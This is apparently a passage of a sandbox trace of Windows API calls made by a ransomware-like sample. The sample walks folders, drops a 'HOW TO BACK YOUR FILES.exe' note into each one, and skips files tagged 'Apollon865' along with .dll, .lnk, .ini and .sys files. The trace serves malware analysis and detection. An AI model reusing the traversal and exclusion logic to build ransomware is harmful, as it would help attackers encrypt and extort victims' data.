	[0039.087] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7b10
	[0039.087] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 0
	[0039.087] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0039.087] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b30
	[0039.087] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch"
	[0039.087] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0039.087] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0039.087] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch") returned 88
	[0039.087] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch" | out: lpString1="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch"
	[0039.087] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.087] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.092] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.092] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0039.092] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.092] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.092] lstrcpyW (in: lpString1=0x2d3e602, lpString2="x64" | out: lpString1="x64") returned="x64"
	[0039.092] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0039.092] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xba) returned 0x599c78
	[0039.092] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7b10
	[0039.092] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0
	[0039.092] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0039.092] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b30
	[0039.092] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64"
	[0039.093] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599c78 | out: hHeap=0x580000) returned 1
	[0039.093] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0039.093] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64") returned 92
	[0039.093] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64" | out: lpString1="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64"
	[0039.093] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.093] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.097] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.097] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f684dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f684dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0039.097] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.097] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.097] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="Windows6.1-KB2999226-x64.msu" | out: lpString1="Windows6.1-KB2999226-x64.msu") returned="Windows6.1-KB2999226-x64.msu"
	[0039.097] lstrlenW (lpString="Windows6.1-KB2999226-x64.msu") returned 28
	[0039.097] lstrlenW (lpString="Apollon865") returned 10
	[0039.097] lstrcmpiW (lpString1="26-x64.msu", lpString2="Apollon865") returned -1
	[0039.097] lstrlenW (lpString=".dll") returned 4
	[0039.097] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".dll") returned 1
	[0039.097] lstrlenW (lpString=".lnk") returned 4
	[0039.097] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".lnk") returned 1
	[0039.097] lstrlenW (lpString=".ini") returned 4
	[0039.097] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".ini") returned 1
	[0039.098] lstrlenW (lpString=".sys") returned 4
	[0039.098] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".sys") returned 1
	[0039.098] lstrlenW (lpString="Windows6.1-KB2999226-x64.msu") returned 28
	[0039.098] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460"
	[0039.098] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0039.098] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0039.098] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned 73
	[0039.098] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: lpString1="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460"
	[0039.098] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.098] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.102] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.102] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0039.102] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.102] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.102] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0039.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0039.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x599bd8
	[0039.102] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0039.102] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0039.102] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0039.102] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0039.102] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages"
	[0039.102] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0039.103] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0039.103] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages") returned 82
	[0039.103] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages"
	[0039.103] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.103] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.107] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.107] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0039.108] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.108] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.108] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="Patch" | out: lpString1="Patch") returned="Patch"
	[0039.108] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0039.108] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb2) returned 0x5c1458
	[0039.108] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0039.108] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 0
	[0039.108] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0039.108] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0039.108] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch"
	[0039.108] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0039.108] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0039.108] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch") returned 88
	[0039.108] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch" | out: lpString1="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch"
	[0039.108] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.108] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.112] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.112] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0039.113] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.113] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.113] lstrcpyW (in: lpString1=0x2d3e602, lpString2="x64" | out: lpString1="x64") returned="x64"
	[0039.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0039.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xba) returned 0x599bd8
	[0039.113] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0039.113] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0
	[0039.113] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0039.113] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0039.113] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64"
	[0039.113] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0039.113] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0039.113] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64") returned 92
	[0039.113] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64" | out: lpString1="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64"
	[0039.113] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.113] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.117] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.117] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6d1090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0039.117] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.117] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.118] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="Windows6.1-KB2999226-x64.msu" | out: lpString1="Windows6.1-KB2999226-x64.msu") returned="Windows6.1-KB2999226-x64.msu"
	[0039.118] lstrlenW (lpString="Windows6.1-KB2999226-x64.msu") returned 28
	[0039.118] lstrlenW (lpString="Apollon865") returned 10
	[0039.118] lstrcmpiW (lpString1="26-x64.msu", lpString2="Apollon865") returned -1
	[0039.118] lstrlenW (lpString=".dll") returned 4
	[0039.118] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".dll") returned 1
	[0039.118] lstrlenW (lpString=".lnk") returned 4
	[0039.118] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".lnk") returned 1
	[0039.118] lstrlenW (lpString=".ini") returned 4
	[0039.118] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".ini") returned 1
	[0039.118] lstrlenW (lpString=".sys") returned 4
	[0039.118] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".sys") returned 1
	[0039.118] lstrlenW (lpString="Windows6.1-KB2999226-x64.msu") returned 28
	[0039.118] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Oracle", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Oracle") returned="C:\\Users\\All Users\\Oracle"
	[0039.118] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca1d0 | out: hHeap=0x580000) returned 1
	[0039.118] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0039.118] lstrlenW (lpString="C:\\Users\\All Users\\Oracle") returned 25
	[0039.118] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Oracle" | out: lpString1="C:\\Users\\All Users\\Oracle") returned="C:\\Users\\All Users\\Oracle"
	[0039.118] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.118] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Oracle\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\oracle\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.122] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.122] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6d1090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca1d0
	[0039.122] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.122] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.123] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Mozilla", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Mozilla") returned="C:\\Users\\All Users\\Mozilla"
	[0039.123] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca190 | out: hHeap=0x580000) returned 1
	[0039.123] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0039.123] lstrlenW (lpString="C:\\Users\\All Users\\Mozilla") returned 26
